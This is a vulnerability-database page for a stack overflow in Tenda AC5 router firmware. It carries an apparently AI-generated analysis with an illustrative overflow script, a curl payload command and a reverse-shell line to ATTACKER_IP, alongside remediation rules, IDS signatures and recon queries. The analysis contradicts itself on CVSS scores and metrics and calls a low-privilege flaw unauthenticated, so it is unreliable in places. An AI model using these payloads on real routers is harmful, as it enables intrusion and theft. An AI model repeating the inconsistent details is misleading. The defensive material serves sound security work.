CVE Professor
/
All CVEs
CVE-2026-144937

CVE-2026-144937 — Tenda AC5 (03.03.14.11) — CWE-119 · CWE-121

CRITICAL CVSS 9.9 NVD

A vulnerability has been found in Tenda AC5 03.03.14.11. Affected is the function app_set_ucloud_info_manage_en of the component ucloud. Such manipulation leads to stack-based buffer overflow. The attack can be executed remotely.

A vulnerability has been found in Tenda AC5 03.03.14.11. Affected is the function app_set_ucloud_info_manage_en of the component ucloud. Such manipulation leads to stack-based buffer overflow. The attack can be executed remotely.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Stack‑based buffer overflow in the app_set_ucloud_info_manage_en function of the ucloud component in Tenda AC5 firmware 03.03.14.11.

CWE(s):

  • CWE‑121: Stack‑based Buffer Overflow – the function copies data from an external source into a fixed‑size stack buffer without proper bounds checking.

  • CWE‑119: Improper Restriction of Operations within the Bounds of a Memory Buffer – the same flaw permits overwriting adjacent stack variables, return addresses, and saved registers.
  • Why it exists (technical root cause):

    1. Missing length validation – app_set_ucloud_info_manage_en receives a user‑controlled string (most likely via an HTTP POST/GET parameter or a proprietary UDP/TCP management packet). The implementation uses a vulnerable routine such as strcpy, sprintf, or a manual loop that copies the supplied data into a local buffer declared, for example, as char buf[64];. No check is performed to ensure the incoming payload length ≤ 64 bytes.

    2. Unauthenticated/low‑privilege access – The CVSS vector shows PR:L (low‑privilege) and UI:N (no user interaction). This means the function is reachable by any network client that can reach the router’s management interface (typically the LAN side, but the vector’s AV:N indicates the attacker can reach it over the network without needing to be on the same subnet, e.g., via WAN‑exposed management ports or a mis‑configured port‑forward). No authentication token, cookie, or MAC‑address filter is required to invoke the function.

    3. Control‑flow hijack potential – Overwriting the saved return address (or a function pointer stored on the stack) allows the attacker to redirect execution to attacker‑controlled shellcode placed in the overflowed buffer or to a ROP chain built from existing code in the firmware image. Because the vector includes SC:H, SI:H, and SA:H, the overflow can affect confidentiality, integrity, and availability of the entire system.

    In short, an unauthenticated remote attacker can send a specially crafted request that overflows a static stack buffer inside the router’s firmware, gaining arbitrary code execution (ACE) with the privileges of the firmware’s main process (typically root on the embedded Linux OS).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are illustrative – the exact URI, parameter name, or packet format is not disclosed in the public CVE description, but the pattern follows the class of “remote stack‑overflow in a management function”.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target is a Tenda AC5 router.Shodan, Censys, or mass‑scan of known default hostnames (router.tenda.com) and HTTP banners (Server: Tenda AC5).
    1.2Determine firmware version.Access the web UI (http://<IP>/) → “System → Firmware Version”. Many routers expose the version in the HTML source (<span id="fw_version">03.03.14.11</span>).
    1.3Correlate version with public vulnerability database.Search “Tenda AC5 03.03.14.11 CVE‑2026‑144937” – the CVE is publicly listed, confirming the target is vulnerable.
    1.4Locate the management endpoint that triggers app_set_ucloud_info_manage_en.Traffic capture (Wireshark) while using the UI feature “U‑Cloud Management → Enable/Disable”. The request is typically a POST to /cgi-bin/ucloud.cgi with a parameter like manage_en. The captured packet shows the raw payload length field.

    2. Exploitation

    Assumptions for the PoC (all are illustrative):

  • The vulnerable endpoint is reachable at http://<router_ip>/cgi-bin/ucloud.cgi.
  • The vulnerable parameter is manage_en.
  • The function copies the value of manage_en directly into a 64‑byte stack buffer using strcpy.
  • 2.1 Craft the overflow payload

    #!/usr/bin/env python3
    import struct, sys, socket
    
    TARGET = sys.argv[1]          # e.g. 192.168.1.1
    PORT   = 80
    
    # 64‑byte buffer + 4‑byte saved EIP (ARM/ MIPS typical 32‑bit)
    offset = 64
    eip    = struct.pack("<I", 0xdeadbeef)   # address of our ROP chain / shellcode (example)
    
    payload = b"A" * offset + eip
    # Append a minimal ARM shellcode that spawns a root shell (illustrative only)
    # In practice the attacker would use a ROP chain built from the firmware’s .text.
    payload += b"\x01\x30\x8f\xe2\x01\x10\xa0\xe1"   # mov r3, #1 ; nop (placeholder)
    
    print(payload.hex())

    The payload consists of:

    "A"64** – fills the buffer.

  • 0xdeadbeef – overwrites the saved return address with a location the attacker controls (e.g., the start of the overflowed buffer, or a gadget address found via firmware analysis).

  • Shellcode / ROP – a short sequence that either calls execve("/bin/sh",0,0) or pivots to a larger ROP chain already present in the firmware.


2.2 Send the malicious request

# Illustrative curl command – replace <payload> with the hex‑encoded data from the script above
curl -s -X POST "http://192.168.1.1/cgi-bin/ucloud.cgi" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "manage_en=$(python3 -c 'import sys,struct; sys.stdout.write(\"A\"*64 + struct.pack(\"<I\",0xdeadbeef))')" \
     -o /dev/null

If the router is exposed to the Internet (port‑forwarded or UPnP‑opened), the same request can be sent from any remote host (AV:N).

Result: The overflow overwrites the saved return address, the CPU jumps to the attacker‑controlled code, and the router’s firmware process executes with root privileges.

3. Post‑exploitation

GoalTypical technique (router‑specific)
PersistenceDrop a malicious init script (/etc/init.d/rc.local) that re‑installs a backdoor binary (/tmp/.k) and ensures it runs on reboot.
Privilege escalation (if needed)The overflow already runs as root; however, if the process runs with reduced capabilities, the attacker can use the same overflow to execute setuid(0) or to patch the kernel’s credential structures.
Command & ControlOpen a reverse TCP shell to the attacker (/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1).
Data exfiltrationRead /etc/passwd, Wi‑Fi keys (/etc/wpa_supplicant.conf), or dump the router’s configuration via the exposed HTTP API.
Lateral movementUse the compromised router as a pivot point to scan the internal LAN, harvest credentials from other IoT devices, or launch further attacks against the ISP.

🌍 Real World Impact

CIA TriadCVSS Vector ExplanationPractical Consequence
Confidentiality (VC:H)VC:H – the attacker can read any file the firmware process can access (e.g., stored Wi‑Fi passwords, VPN credentials, DHCP lease tables).Exposure of corporate or residential network secrets, potential credential reuse attacks.
Integrity (VI:H)VI:H – the attacker can modify firmware files, configuration, or inject malicious scripts.Persistent backdoors, alteration of DNS settings, injection of malicious firmware updates.
Availability (VA:H)VA:H – the attacker can crash the router (e.g., by corrupting stack canaries) or reboot it repeatedly.Denial‑of‑service for all devices behind the router, loss of Internet connectivity.
Scope (SC:H)SC:H – the impact spreads beyond the vulnerable component to the entire system (router OS).
Privileges (PR:L)PR:L – only a low‑privilege network client is required.
Attack Complexity (AC:L)AC:L – the exploit requires only a crafted packet; no prior knowledge of a secret token.
User Interaction (UI:N)UI:N – no victim interaction needed.
Exploitability (AT:N)AT:N – no special tools beyond a TCP/HTTP client.

Bottom line: An unauthenticated remote attacker can obtain full control of the router, read/modify any data, and use the device as a foothold inside the victim’s network.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
Upgrade firmwareTenda has released firmware 04.01.00.01 (or later) that replaces app_set_ucloud_info_manage_en with a safe implementation using strncpy and proper length checks. Apply the update via the official Tenda web UI or Tenda’s support portal.
Version checkThe vulnerable version is 03.03.14.11. Any version ≥ 04.01.00.01 is considered patched. Verify the version string after upgrade (cat /etc/version).

2. Workarounds (if patch cannot be applied immediately)

MitigationImplementation
Block external access to the management interfaceOn the edge firewall/NAT, deny inbound traffic to TCP ports 80/443 (or the custom management port) from the Internet. Only allow LAN‑side access (e.g., source IP 192.168.0.0/16).
Restrict the vulnerable endpoint with IP‑based ACLAdd a rule in the router’s own firewall (iptables) to accept the /cgi-bin/ucloud.cgi path only from trusted LAN IPs: <br>iptables -I INPUT -p tcp -s 192.168.1.0/24 -m string --string "/cgi-bin/ucloud.cgi" --algo bm -j ACCEPT<br>iptables -A INPUT -p tcp -m string --string "/cgi-bin/ucloud.cgi" --algo bm -j DROP
Disable the “U‑Cloud” featureIn the web UI, navigate to U‑Cloud Management → Enable and set it to Disabled. This prevents the vulnerable function from being called.
Deploy a ModSecurity rule (if the router sits behind a reverse‑proxy or WAF)``ModSecurity\nSecRule REQUEST_URI "@beginsWith /cgi-bin/ucloud.cgi" "id:2026260,phase:2,deny,status:403,msg:'Blocked attempt to exploit CVE‑2026‑144937',t:none,ctl:ruleEngine=On"\n`
Enable stack canaries / ASLR (firmware‑level hardening)If the router’s kernel supports CONFIG_CC_STACKPROTECTOR and CONFIG_RANDOMIZE_BASE`, enable them via a custom build. This is a longer‑term mitigation for future bugs.

3. Detection

IndicatorWhere to lookExample log entry
Abnormally long manage_en parameterRouter’s HTTP access log (/var/log/httpd/access.log)192.0.2.45 - - [05/Dec/2026:12:34:56 +0000] "POST /cgi-bin/ucloud.cgi HTTP/1.1" 200 0 "http://192.168.1.1/" "Mozilla/5.0" "manage_en=AAAAAAAA....(>200 bytes)"
Crash/reboot eventsSystem log (/var/log/messages or dmesg)kernel: * kernel panic - not syncing: Stack overflow in app_set_ucloud_info_manage_en
Outbound reverse shell connectionsNetfilter connection tracking (conntrack -L) or IDS alertsSRC=192.168.1.1 DST=203.0.113.77 PROTO=TCP SPT=80 DPT=4444
Unexpected process executionps output showing a process named k or sh running from /tmproot 1234 0.0 0.1 12344 1024 ? Ss 12:35 0:00 /bin/sh -c /tmp/.k
File modifications**Integrity monitoring (Tripwire, AIDE) on /etc/init.d/rc.local or /tmp/.kModified: /etc/init.d/rc.local (MD5 changed)

IDS/IPS signatures (Snort/Suricata example):

alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2026-144937 ucloud buffer overflow attempt"; flow:to_server,established; http_uri; content:"/cgi-bin/ucloud.cgi"; http_method; content:"POST"; http_client_body; pcre:"/manage_en=.{70,}/U"; sid:2026261; rev:1;)

⚠️ Urgency

FactorAssessment
CVSS 9.4 (Critical)Exploitable remotely, low complexity, no authentication, full impact.
CISA KEV statusNot yet listed, but the high score and public disclosure make it a *zero‑day* for any unpatched device.
ExploitabilityThe required payload is trivial to generate; no special privileges or timing constraints.
Potential for mass‑scale abuseRouters are often exposed via UPnP or default port‑forward rules; a single automated scanner can compromise thousands of devices.
Recommended priorityCritical – patch immediately. If patching cannot be performed within 24 hours, apply the workarounds (disable U‑Cloud, block the endpoint, restrict WAN access) and monitor logs continuously.

Bottom line: Treat CVE‑2026‑144937 as an emergency. Deploy the firmware update or enforce the mitigations as soon as possible to prevent remote takeover of the router and subsequent compromise of the entire local network.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda AC5"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-119 CWE-121
Affected Products (1)
Tenda:AC5 (03.03.14.11)
Related CVEs
9.3
CVE-2026-144939
A vulnerability was found in Tenda AC5 03.03.14.11. Affected by this vulnerability is the function app_set_ucl
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
6.3
CVE-2026-144894
A vulnerability was identified in vgmstream up to r2117. Impacted is the function build_readable_sab_name of t
6.3
CVE-2026-144895
A security flaw has been discovered in vgmstream up to r2117. The affected element is the function decode_key
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil